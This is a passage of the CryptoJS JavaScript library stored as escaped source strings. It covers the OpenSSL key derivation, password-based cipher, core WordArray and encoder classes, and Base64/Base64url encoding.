/**\n\t * OpenSSL key derivation function.\n\t */\n\t var OpenSSLKdf = C_kdf.OpenSSL = {\n\t /**\n\t * Derives a key and IV from a password.\n\t *\n\t * @param {string} password The password to derive from.\n\t * @param {number} keySize The size in words of the key to generate.\n\t * @param {number} ivSize The size in words of the IV to generate.\n\t * @param {WordArray|string} salt (Optional) A 64-bit salt to use. If omitted, a salt will be generated randomly.\n\t *\n\t * @return {CipherParams} A cipher params object with the key, IV, and salt.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var derivedParams = CryptoJS.kdf.OpenSSL.execute('Password', 256/32, 128/32);\n\t * var derivedParams = CryptoJS.kdf.OpenSSL.execute('Password', 256/32, 128/32, 'saltsalt');\n\t */\n\t execute: function (password, keySize, ivSize, salt) {\n\t // Generate random salt\n\t if (!salt) {\n\t salt = WordArray.random(64/8);\n\t }\n\n\t // Derive key and IV\n\t var key = EvpKDF.create({ keySize: keySize + ivSize }).compute(password, salt);\n\n\t // Separate key and IV\n\t var iv = WordArray.create(key.words.slice(keySize), ivSize * 4);\n\t key.sigBytes = keySize * 4;\n\n\t // Return params\n\t return CipherParams.create({ key: key, iv: iv, salt: salt });\n\t }\n\t };\n\n\t /**\n\t * A serializable cipher wrapper that derives the key from a password,\n\t * and returns ciphertext as a serializable cipher params object.\n\t */\n\t var PasswordBasedCipher = C_lib.PasswordBasedCipher = SerializableCipher.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {KDF} kdf The key derivation function to use to generate a key and IV from a password. Default: OpenSSL\n\t */\n\t cfg: SerializableCipher.cfg.extend({\n\t kdf: OpenSSLKdf\n\t }),\n\n\t /**\n\t * Encrypts a message using a password.\n\t *\n\t * @param {Cipher} cipher The cipher algorithm to use.\n\t * @param {WordArray|string} message The message to encrypt.\n\t * @param {string} password The password.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @return {CipherParams} A cipher params object.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var ciphertextParams = CryptoJS.lib.PasswordBasedCipher.encrypt(CryptoJS.algo.AES, message, 'password');\n\t * var ciphertextParams = CryptoJS.lib.PasswordBasedCipher.encrypt(CryptoJS.algo.AES, message, 'password', { format: CryptoJS.format.OpenSSL });\n\t */\n\t encrypt: function (cipher, message, password, cfg) {\n\t // Apply config defaults\n\t cfg = this.cfg.extend(cfg);\n\n\t // Derive key and other params\n\t var derivedParams = cfg.kdf.execute(password, cipher.keySize, cipher.ivSize);\n\n\t // Add IV to config\n\t cfg.iv = derivedParams.iv;\n\n\t // Encrypt\n\t var ciphertext = SerializableCipher.encrypt.call(this, cipher, message, derivedParams.key, cfg);\n\n\t // Mix in derived params\n\t ciphertext.mixIn(derivedParams);\n\n\t return ciphertext;\n\t },\n\n\t /**\n\t * Decrypts serialized ciphertext using a password.\n\t *\n\t * @param {Cipher} cipher The cipher algorithm to use.\n\t * @param {CipherParams|string} ciphertext The ciphertext to decrypt.\n\t * @param {string} password The password.\n\t * @param {Object} cfg (Optional) The configuration options to use for this operation.\n\t *\n\t * @return {WordArray} The plaintext.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var plaintext = CryptoJS.lib.PasswordBasedCipher.decrypt(CryptoJS.algo.AES, formattedCiphertext, 'password', { format: CryptoJS.format.OpenSSL });\n\t * var plaintext = CryptoJS.lib.PasswordBasedCipher.decrypt(CryptoJS.algo.AES, ciphertextParams, 'password', { format: CryptoJS.format.OpenSSL });\n\t */\n\t decrypt: function (cipher, ciphertext, password, cfg) {\n\t // Apply config defaults\n\t cfg = this.cfg.extend(cfg);\n\n\t // Convert string to CipherParams\n\t ciphertext = this._parse(ciphertext, cfg.format);\n\n\t // Derive key and other params\n\t var derivedParams = cfg.kdf.execute(password, cipher.keySize, cipher.ivSize, ciphertext.salt);\n\n\t // Add IV to config\n\t cfg.iv = derivedParams.iv;\n\n\t // Decrypt\n\t var plaintext = SerializableCipher.decrypt.call(this, cipher, ciphertext, derivedParams.key, cfg);\n\n\t return plaintext;\n\t }\n\t });\n\t}());\n\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory();\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\troot.CryptoJS = factory();\n\t}\n}(this, function () {\n\n\t/*globals window, global, require*/\n\n\t/**\n\t * CryptoJS core components.\n\t */\n\tvar CryptoJS = CryptoJS || (function (Math, undefined) {\n\n\t var crypto;\n\n\t // Native crypto from window (Browser)\n\t if (typeof window !== 'undefined' && window.crypto) {\n\t crypto = window.crypto;\n\t }\n\n\t // Native crypto in web worker (Browser)\n\t if (typeof self !== 'undefined' && self.crypto) {\n\t crypto = self.crypto;\n\t }\n\n\t // Native crypto from worker\n\t if (typeof globalThis !== 'undefined' && globalThis.crypto) {\n\t crypto = globalThis.crypto;\n\t }\n\n\t // Native (experimental IE 11) crypto from window (Browser)\n\t if (!crypto && typeof window !== 'undefined' && window.msCrypto) {\n\t crypto = window.msCrypto;\n\t }\n\n\t // Native crypto from global (NodeJS)\n\t if (!crypto && typeof global !== 'undefined' && global.crypto) {\n\t crypto = global.crypto;\n\t }\n\n\t // Native crypto import via require (NodeJS)\n\t if (!crypto && typeof require === 'function') {\n\t try {\n\t crypto = require('crypto');\n\t } catch (err) {}\n\t }\n\n\t /*\n\t * Cryptographically secure pseudorandom number generator\n\t *\n\t * As Math.random() is cryptographically not safe to use\n\t */\n\t var cryptoSecureRandomInt = function () {\n\t if (crypto) {\n\t // Use getRandomValues method (Browser)\n\t if (typeof crypto.getRandomValues === 'function') {\n\t try {\n\t return crypto.getRandomValues(new Uint32Array(1))[0];\n\t } catch (err) {}\n\t }\n\n\t // Use randomBytes method (NodeJS)\n\t if (typeof crypto.randomBytes === 'function') {\n\t try {\n\t return crypto.randomBytes(4).readInt32LE();\n\t } catch (err) {}\n\t }\n\t }\n\n\t throw new Error('Native crypto module could not be used to get secure random number.');\n\t };\n\n\t /*\n\t * Local polyfill of Object.create\n\n\t */\n\t var create = Object.create || (function () {\n\t function F() {}\n\n\t return function (obj) {\n\t var subtype;\n\n\t F.prototype = obj;\n\n\t subtype = new F();\n\n\t F.prototype = null;\n\n\t return subtype;\n\t };\n\t }());\n\n\t /**\n\t * CryptoJS namespace.\n\t */\n\t var C = {};\n\n\t /**\n\t * Library namespace.\n\t */\n\t var C_lib = C.lib = {};\n\n\t /**\n\t * Base object for prototypal inheritance.\n\t */\n\t var Base = C_lib.Base = (function () {\n\n\n\t return {\n\t /**\n\t * Creates a new object that inherits from this object.\n\t *\n\t * @param {Object} overrides Properties to copy into the new object.\n\t *\n\t * @return {Object} The new object.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var MyType = CryptoJS.lib.Base.extend({\n\t * field: 'value',\n\t *\n\t * method: function () {\n\t * }\n\t * });\n\t */\n\t extend: function (overrides) {\n\t // Spawn\n\t var subtype = create(this);\n\n\t // Augment\n\t if (overrides) {\n\t subtype.mixIn(overrides);\n\t }\n\n\t // Create default initializer\n\t if (!subtype.hasOwnProperty('init') || this.init === subtype.init) {\n\t subtype.init = function () {\n\t subtype.$super.init.apply(this, arguments);\n\t };\n\t }\n\n\t // Initializer's prototype is the subtype object\n\t subtype.init.prototype = subtype;\n\n\t // Reference supertype\n\t subtype.$super = this;\n\n\t return subtype;\n\t },\n\n\t /**\n\t * Extends this object and runs the init method.\n\t * Arguments to create() will be passed to init().\n\t *\n\t * @return {Object} The new object.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var instance = MyType.create();\n\t */\n\t create: function () {\n\t var instance = this.extend();\n\t instance.init.apply(instance, arguments);\n\n\t return instance;\n\t },\n\n\t /**\n\t * Initializes a newly created object.\n\t * Override this method to add some logic when your objects are created.\n\t *\n\t * @example\n\t *\n\t * var MyType = CryptoJS.lib.Base.extend({\n\t * init: function () {\n\t * // ...\n\t * }\n\t * });\n\t */\n\t init: function () {\n\t },\n\n\t /**\n\t * Copies properties into this object.\n\t *\n\t * @param {Object} properties The properties to mix in.\n\t *\n\t * @example\n\t *\n\t * MyType.mixIn({\n\t * field: 'value'\n\t * });\n\t */\n\t mixIn: function (properties) {\n\t for (var propertyName in properties) {\n\t if (properties.hasOwnProperty(propertyName)) {\n\t this[propertyName] = properties[propertyName];\n\t }\n\t }\n\n\t // IE won't copy toString using the loop above\n\t if (properties.hasOwnProperty('toString')) {\n\t this.toString = properties.toString;\n\t }\n\t },\n\n\t /**\n\t * Creates a copy of this object.\n\t *\n\t * @return {Object} The clone.\n\t *\n\t * @example\n\t *\n\t * var clone = instance.clone();\n\t */\n\t clone: function () {\n\t return this.init.prototype.extend(this);\n\t }\n\t };\n\t }());\n\n\t /**\n\t * An array of 32-bit words.\n\t *\n\t * @property {Array} words The array of 32-bit words.\n\t * @property {number} sigBytes The number of significant bytes in this word array.\n\t */\n\t var WordArray = C_lib.WordArray = Base.extend({\n\t /**\n\t * Initializes a newly created word array.\n\t *\n\t * @param {Array} words (Optional) An array of 32-bit words.\n\t * @param {number} sigBytes (Optional) The number of significant bytes in the words.\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.lib.WordArray.create();\n\t * var wordArray = CryptoJS.lib.WordArray.create([0x00010203, 0x04050607]);\n\t * var wordArray = CryptoJS.lib.WordArray.create([0x00010203, 0x04050607], 6);\n\t */\n\t init: function (words, sigBytes) {\n\t words = this.words = words || [];\n\n\t if (sigBytes != undefined) {\n\t this.sigBytes = sigBytes;\n\t } else {\n\t this.sigBytes = words.length * 4;\n\t }\n\t },\n\n\t /**\n\t * Converts this word array to a string.\n\t *\n\t * @param {Encoder} encoder (Optional) The encoding strategy to use. Default: CryptoJS.enc.Hex\n\t *\n\t * @return {string} The stringified word array.\n\t *\n\t * @example\n\t *\n\t * var string = wordArray + '';\n\t * var string = wordArray.toString();\n\t * var string = wordArray.toString(CryptoJS.enc.Utf8);\n\t */\n\t toString: function (encoder) {\n\t return (encoder || Hex).stringify(this);\n\t },\n\n\t /**\n\t * Concatenates a word array to this word array.\n\t *\n\t * @param {WordArray} wordArray The word array to append.\n\t *\n\t * @return {WordArray} This word array.\n\t *\n\t * @example\n\t *\n\t * wordArray1.concat(wordArray2);\n\t */\n\t concat: function (wordArray) {\n\t // Shortcuts\n\t var thisWords = this.words;\n\t var thatWords = wordArray.words;\n\t var thisSigBytes = this.sigBytes;\n\t var thatSigBytes = wordArray.sigBytes;\n\n\t // Clamp excess bits\n\t this.clamp();\n\n\t // Concat\n\t if (thisSigBytes % 4) {\n\t // Copy one byte at a time\n\t for (var i = 0; i < thatSigBytes; i++) {\n\t var thatByte = (thatWords[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t thisWords[(thisSigBytes + i) >>> 2] |= thatByte << (24 - ((thisSigBytes + i) % 4) * 8);\n\t }\n\t } else {\n\t // Copy one word at a time\n\t for (var j = 0; j < thatSigBytes; j += 4) {\n\t thisWords[(thisSigBytes + j) >>> 2] = thatWords[j >>> 2];\n\t }\n\t }\n\t this.sigBytes += thatSigBytes;\n\n\t // Chainable\n\t return this;\n\t },\n\n\t /**\n\t * Removes insignificant bits.\n\t *\n\t * @example\n\t *\n\t * wordArray.clamp();\n\t */\n\t clamp: function () {\n\t // Shortcuts\n\t var words = this.words;\n\t var sigBytes = this.sigBytes;\n\n\t // Clamp\n\t words[sigBytes >>> 2] &= 0xffffffff << (32 - (sigBytes % 4) * 8);\n\t words.length = Math.ceil(sigBytes / 4);\n\t },\n\n\t /**\n\t * Creates a copy of this word array.\n\t *\n\t * @return {WordArray} The clone.\n\t *\n\t * @example\n\t *\n\t * var clone = wordArray.clone();\n\t */\n\t clone: function () {\n\t var clone = Base.clone.call(this);\n\t clone.words = this.words.slice(0);\n\n\t return clone;\n\t },\n\n\t /**\n\t * Creates a word array filled with random bytes.\n\t *\n\t * @param {number} nBytes The number of random bytes to generate.\n\t *\n\t * @return {WordArray} The random word array.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.lib.WordArray.random(16);\n\t */\n\t random: function (nBytes) {\n\t var words = [];\n\n\t for (var i = 0; i < nBytes; i += 4) {\n\t words.push(cryptoSecureRandomInt());\n\t }\n\n\t return new WordArray.init(words, nBytes);\n\t }\n\t });\n\n\t /**\n\t * Encoder namespace.\n\t */\n\t var C_enc = C.enc = {};\n\n\t /**\n\t * Hex encoding strategy.\n\t */\n\t var Hex = C_enc.Hex = {\n\t /**\n\t * Converts a word array to a hex string.\n\t *\n\t * @param {WordArray} wordArray The word array.\n\t *\n\t * @return {string} The hex string.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var hexString = CryptoJS.enc.Hex.stringify(wordArray);\n\t */\n\t stringify: function (wordArray) {\n\t // Shortcuts\n\t var words = wordArray.words;\n\t var sigBytes = wordArray.sigBytes;\n\n\t // Convert\n\t var hexChars = [];\n\t for (var i = 0; i < sigBytes; i++) {\n\t var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t hexChars.push((bite >>> 4).toString(16));\n\t hexChars.push((bite & 0x0f).toString(16));\n\t }\n\n\t return hexChars.join('');\n\t },\n\n\t /**\n\t * Converts a hex string to a word array.\n\t *\n\t * @param {string} hexStr The hex string.\n\t *\n\t * @return {WordArray} The word array.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.enc.Hex.parse(hexString);\n\t */\n\t parse: function (hexStr) {\n\t // Shortcut\n\t var hexStrLength = hexStr.length;\n\n\t // Convert\n\t var words = [];\n\t for (var i = 0; i < hexStrLength; i += 2) {\n\t words[i >>> 3] |= parseInt(hexStr.substr(i, 2), 16) << (24 - (i % 8) * 4);\n\t }\n\n\t return new WordArray.init(words, hexStrLength / 2);\n\t }\n\t };\n\n\t /**\n\t * Latin1 encoding strategy.\n\t */\n\t var Latin1 = C_enc.Latin1 = {\n\t /**\n\t * Converts a word array to a Latin1 string.\n\t *\n\t * @param {WordArray} wordArray The word array.\n\t *\n\t * @return {string} The Latin1 string.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var latin1String = CryptoJS.enc.Latin1.stringify(wordArray);\n\t */\n\t stringify: function (wordArray) {\n\t // Shortcuts\n\t var words = wordArray.words;\n\t var sigBytes = wordArray.sigBytes;\n\n\t // Convert\n\t var latin1Chars = [];\n\t for (var i = 0; i < sigBytes; i++) {\n\t var bite = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t latin1Chars.push(String.fromCharCode(bite));\n\t }\n\n\t return latin1Chars.join('');\n\t },\n\n\t /**\n\t * Converts a Latin1 string to a word array.\n\t *\n\t * @param {string} latin1Str The Latin1 string.\n\t *\n\t * @return {WordArray} The word array.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.enc.Latin1.parse(latin1String);\n\t */\n\t parse: function (latin1Str) {\n\t // Shortcut\n\t var latin1StrLength = latin1Str.length;\n\n\t // Convert\n\t var words = [];\n\t for (var i = 0; i < latin1StrLength; i++) {\n\t words[i >>> 2] |= (latin1Str.charCodeAt(i) & 0xff) << (24 - (i % 4) * 8);\n\t }\n\n\t return new WordArray.init(words, latin1StrLength);\n\t }\n\t };\n\n\t /**\n\t * UTF-8 encoding strategy.\n\t */\n\t var Utf8 = C_enc.Utf8 = {\n\t /**\n\t * Converts a word array to a UTF-8 string.\n\t *\n\t * @param {WordArray} wordArray The word array.\n\t *\n\t * @return {string} The UTF-8 string.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var utf8String = CryptoJS.enc.Utf8.stringify(wordArray);\n\t */\n\t stringify: function (wordArray) {\n\t try {\n\t return decodeURIComponent(escape(Latin1.stringify(wordArray)));\n\t } catch (e) {\n\t throw new Error('Malformed UTF-8 data');\n\t }\n\t },\n\n\t /**\n\t * Converts a UTF-8 string to a word array.\n\t *\n\t * @param {string} utf8Str The UTF-8 string.\n\t *\n\t * @return {WordArray} The word array.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.enc.Utf8.parse(utf8String);\n\t */\n\t parse: function (utf8Str) {\n\t return Latin1.parse(unescape(encodeURIComponent(utf8Str)));\n\t }\n\t };\n\n\t /**\n\t * Abstract buffered block algorithm template.\n\t *\n\t * The property blockSize must be implemented in a concrete subtype.\n\t *\n\t * @property {number} _minBufferSize The number of blocks that should be kept unprocessed in the buffer. Default: 0\n\t */\n\t var BufferedBlockAlgorithm = C_lib.BufferedBlockAlgorithm = Base.extend({\n\t /**\n\t * Resets this block algorithm's data buffer to its initial state.\n\t *\n\t * @example\n\t *\n\t * bufferedBlockAlgorithm.reset();\n\t */\n\t reset: function () {\n\t // Initial values\n\t this._data = new WordArray.init();\n\t this._nDataBytes = 0;\n\t },\n\n\t /**\n\t * Adds new data to this block algorithm's buffer.\n\t *\n\t * @param {WordArray|string} data The data to append. Strings are converted to a WordArray using UTF-8.\n\t *\n\t * @example\n\t *\n\t * bufferedBlockAlgorithm._append('data');\n\t * bufferedBlockAlgorithm._append(wordArray);\n\t */\n\t _append: function (data) {\n\t // Convert string to WordArray, else assume WordArray already\n\t if (typeof data == 'string') {\n\t data = Utf8.parse(data);\n\t }\n\n\t // Append\n\t this._data.concat(data);\n\t this._nDataBytes += data.sigBytes;\n\t },\n\n\t /**\n\t * Processes available data blocks.\n\t *\n\t * This method invokes _doProcessBlock(offset), which must be implemented by a concrete subtype.\n\t *\n\t * @param {boolean} doFlush Whether all blocks and partial blocks should be processed.\n\t *\n\t * @return {WordArray} The processed data.\n\t *\n\t * @example\n\t *\n\t * var processedData = bufferedBlockAlgorithm._process();\n\t * var processedData = bufferedBlockAlgorithm._process(!!'flush');\n\t */\n\t _process: function (doFlush) {\n\t var processedWords;\n\n\t // Shortcuts\n\t var data = this._data;\n\t var dataWords = data.words;\n\t var dataSigBytes = data.sigBytes;\n\t var blockSize = this.blockSize;\n\t var blockSizeBytes = blockSize * 4;\n\n\t // Count blocks ready\n\t var nBlocksReady = dataSigBytes / blockSizeBytes;\n\t if (doFlush) {\n\t // Round up to include partial blocks\n\t nBlocksReady = Math.ceil(nBlocksReady);\n\t } else {\n\t // Round down to include only full blocks,\n\t // less the number of blocks that must remain in the buffer\n\t nBlocksReady = Math.max((nBlocksReady | 0) - this._minBufferSize, 0);\n\t }\n\n\t // Count words ready\n\t var nWordsReady = nBlocksReady * blockSize;\n\n\t // Count bytes ready\n\t var nBytesReady = Math.min(nWordsReady * 4, dataSigBytes);\n\n\t // Process blocks\n\t if (nWordsReady) {\n\t for (var offset = 0; offset < nWordsReady; offset += blockSize) {\n\t // Perform concrete-algorithm logic\n\t this._doProcessBlock(dataWords, offset);\n\t }\n\n\t // Remove processed words\n\t processedWords = dataWords.splice(0, nWordsReady);\n\t data.sigBytes -= nBytesReady;\n\t }\n\n\t // Return processed words\n\t return new WordArray.init(processedWords, nBytesReady);\n\t },\n\n\t /**\n\t * Creates a copy of this object.\n\t *\n\t * @return {Object} The clone.\n\t *\n\t * @example\n\t *\n\t * var clone = bufferedBlockAlgorithm.clone();\n\t */\n\t clone: function () {\n\t var clone = Base.clone.call(this);\n\t clone._data = this._data.clone();\n\n\t return clone;\n\t },\n\n\t _minBufferSize: 0\n\t });\n\n\t /**\n\t * Abstract hasher template.\n\t *\n\t * @property {number} blockSize The number of 32-bit words this hasher operates on. Default: 16 (512 bits)\n\t */\n\t var Hasher = C_lib.Hasher = BufferedBlockAlgorithm.extend({\n\t /**\n\t * Configuration options.\n\t */\n\t cfg: Base.extend(),\n\n\t /**\n\t * Initializes a newly created hasher.\n\t *\n\t * @param {Object} cfg (Optional) The configuration options to use for this hash computation.\n\t *\n\t * @example\n\t *\n\t * var hasher = CryptoJS.algo.SHA256.create();\n\t */\n\t init: function (cfg) {\n\t // Apply config defaults\n\t this.cfg = this.cfg.extend(cfg);\n\n\t // Set initial values\n\t this.reset();\n\t },\n\n\t /**\n\t * Resets this hasher to its initial state.\n\t *\n\t * @example\n\t *\n\t * hasher.reset();\n\t */\n\t reset: function () {\n\t // Reset data buffer\n\t BufferedBlockAlgorithm.reset.call(this);\n\n\t // Perform concrete-hasher logic\n\t this._doReset();\n\t },\n\n\t /**\n\t * Updates this hasher with a message.\n\t *\n\t * @param {WordArray|string} messageUpdate The message to append.\n\t *\n\t * @return {Hasher} This hasher.\n\t *\n\t * @example\n\t *\n\t * hasher.update('message');\n\t * hasher.update(wordArray);\n\t */\n\t update: function (messageUpdate) {\n\t // Append\n\t this._append(messageUpdate);\n\n\t // Update the hash\n\t this._process();\n\n\t // Chainable\n\t return this;\n\t },\n\n\t /**\n\t * Finalizes the hash computation.\n\t * Note that the finalize operation is effectively a destructive, read-once operation.\n\t *\n\t * @param {WordArray|string} messageUpdate (Optional) A final message update.\n\t *\n\t * @return {WordArray} The hash.\n\t *\n\t * @example\n\t *\n\t * var hash = hasher.finalize();\n\t * var hash = hasher.finalize('message');\n\t * var hash = hasher.finalize(wordArray);\n\t */\n\t finalize: function (messageUpdate) {\n\t // Final message update\n\t if (messageUpdate) {\n\t this._append(messageUpdate);\n\t }\n\n\t // Perform concrete-hasher logic\n\t var hash = this._doFinalize();\n\n\t return hash;\n\t },\n\n\t blockSize: 512/32,\n\n\t /**\n\t * Creates a shortcut function to a hasher's object interface.\n\t *\n\t * @param {Hasher} hasher The hasher to create a helper for.\n\t *\n\t * @return {Function} The shortcut function.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var SHA256 = CryptoJS.lib.Hasher._createHelper(CryptoJS.algo.SHA256);\n\t */\n\t _createHelper: function (hasher) {\n\t return function (message, cfg) {\n\t return new hasher.init(cfg).finalize(message);\n\t };\n\t },\n\n\t /**\n\t * Creates a shortcut function to the HMAC's object interface.\n\t *\n\t * @param {Hasher} hasher The hasher to use in this HMAC helper.\n\t *\n\t * @return {Function} The shortcut function.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var HmacSHA256 = CryptoJS.lib.Hasher._createHmacHelper(CryptoJS.algo.SHA256);\n\t */\n\t _createHmacHelper: function (hasher) {\n\t return function (message, key) {\n\t return new C_algo.HMAC.init(hasher, key).finalize(message);\n\t };\n\t }\n\t });\n\n\t /**\n\t * Algorithm namespace.\n\t */\n\t var C_algo = C.algo = {};\n\n\t return C;\n\t}(Math));\n\n\n\treturn CryptoJS;\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var C_enc = C.enc;\n\n\t /**\n\t * Base64 encoding strategy.\n\t */\n\t var Base64 = C_enc.Base64 = {\n\t /**\n\t * Converts a word array to a Base64 string.\n\t *\n\t * @param {WordArray} wordArray The word array.\n\t *\n\t * @return {string} The Base64 string.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var base64String = CryptoJS.enc.Base64.stringify(wordArray);\n\t */\n\t stringify: function (wordArray) {\n\t // Shortcuts\n\t var words = wordArray.words;\n\t var sigBytes = wordArray.sigBytes;\n\t var map = this._map;\n\n\t // Clamp excess bits\n\t wordArray.clamp();\n\n\t // Convert\n\t var base64Chars = [];\n\t for (var i = 0; i < sigBytes; i += 3) {\n\t var byte1 = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t var byte2 = (words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xff;\n\t var byte3 = (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xff;\n\n\t var triplet = (byte1 << 16) | (byte2 << 8) | byte3;\n\n\t for (var j = 0; (j < 4) && (i + j * 0.75 < sigBytes); j++) {\n\t base64Chars.push(map.charAt((triplet >>> (6 * (3 - j))) & 0x3f));\n\t }\n\t }\n\n\t // Add padding\n\t var paddingChar = map.charAt(64);\n\t if (paddingChar) {\n\t while (base64Chars.length % 4) {\n\t base64Chars.push(paddingChar);\n\t }\n\t }\n\n\t return base64Chars.join('');\n\t },\n\n\t /**\n\t * Converts a Base64 string to a word array.\n\t *\n\t * @param {string} base64Str The Base64 string.\n\t *\n\t * @return {WordArray} The word array.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.enc.Base64.parse(base64String);\n\t */\n\t parse: function (base64Str) {\n\t // Shortcuts\n\t var base64StrLength = base64Str.length;\n\t var map = this._map;\n\t var reverseMap = this._reverseMap;\n\n\t if (!reverseMap) {\n\t reverseMap = this._reverseMap = [];\n\t for (var j = 0; j < map.length; j++) {\n\t reverseMap[map.charCodeAt(j)] = j;\n\t }\n\t }\n\n\t // Ignore padding\n\t var paddingChar = map.charAt(64);\n\t if (paddingChar) {\n\t var paddingIndex = base64Str.indexOf(paddingChar);\n\t if (paddingIndex !== -1) {\n\t base64StrLength = paddingIndex;\n\t }\n\t }\n\n\t // Convert\n\t return parseLoop(base64Str, base64StrLength, reverseMap);\n\n\t },\n\n\t _map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='\n\t };\n\n\t function parseLoop(base64Str, base64StrLength, reverseMap) {\n\t var words = [];\n\t var nBytes = 0;\n\t for (var i = 0; i < base64StrLength; i++) {\n\t if (i % 4) {\n\t var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2);\n\t var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2);\n\t var bitsCombined = bits1 | bits2;\n\t words[nBytes >>> 2] |= bitsCombined << (24 - (nBytes % 4) * 8);\n\t nBytes++;\n\t }\n\t }\n\t return WordArray.create(words, nBytes);\n\t }\n\t}());\n\n\n\treturn CryptoJS.enc.Base64;\n\n}));",";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var WordArray = C_lib.WordArray;\n\t var C_enc = C.enc;\n\n\t /**\n\t * Base64url encoding strategy.\n\t */\n\t var Base64url = C_enc.Base64url = {\n\t /**\n\t * Converts a word array to a Base64url string.\n\t *\n\t * @param {WordArray} wordArray The word array.\n\t *\n\t * @param {boolean} urlSafe Whether to use url safe\n\t *\n\t * @return {string} The Base64url string.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var base64String = CryptoJS.enc.Base64url.stringify(wordArray);\n\t */\n\t stringify: function (wordArray, urlSafe=true) {\n\t // Shortcuts\n\t var words = wordArray.words;\n\t var sigBytes = wordArray.sigBytes;\n\t var map = urlSafe ? this._safe_map : this._map;\n\n\t // Clamp excess bits\n\t wordArray.clamp();\n\n\t // Convert\n\t var base64Chars = [];\n\t for (var i = 0; i < sigBytes; i += 3) {\n\t var byte1 = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t var byte2 = (words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xff;\n\t var byte3 = (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xff;\n\n\t var triplet = (byte1 << 16) | (byte2 << 8) | byte3;\n\n\t for (var j = 0; (j < 4) && (i + j * 0.75 < sigBytes); j++) {\n\t base64Chars.push(map.charAt((triplet >>> (6 * (3 - j))) & 0x3f));\n\t }\n\t }\n\n\t // Add padding\n\t var paddingChar = map.charAt(64);\n\t if (paddingChar) {\n\t while (base64Chars.length % 4) {\n\t base64Chars.push(paddingChar);\n\t }\n\t }\n\n\t return base64Chars.join('');\n\t },\n\n\t /**\n\t * Converts a Base64url string to a word array.\n\t *\n\t * @param {string} base64Str The Base64url string.\n\t *\n\t * @param {boolean} urlSafe Whether to use url safe\n\t *\n\t * @return {WordArray} The word array.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var wordArray = CryptoJS.enc.Base64url.parse(base64String);\n\t */\n\t parse: function (base64Str, urlSafe=true) {\n\t // Shortcuts\n\t var base64StrLength = base64Str.length;\n\t var map = urlSafe ? this._safe_map : this._map;\n\t var reverseMap = this._reverseMap;\n\n\t if (!reverseMap) {\n\t reverseMap = this._reverseMap = [];\n\t for (var j = 0; j < map.length; j++) {\n\t reverseMap[map.charCodeAt(j)] = j;\n\t }\n\t }\n\n\t // Ignore padding\n\t var paddingChar = map.charAt(64);\n\t if (paddingChar) {\n\t var paddingIndex = base64Str.indexOf(paddingChar);\n\t if (paddingIndex !== -1) {\n\t base64StrLength = paddingIndex;\n\t }\n\t }\n\n\t // Convert\n\t return parseLoop(base64Str, base64StrLength, reverseMap);\n\n\t },\n\n\t _map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',\n\t _safe_map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_',\n\t 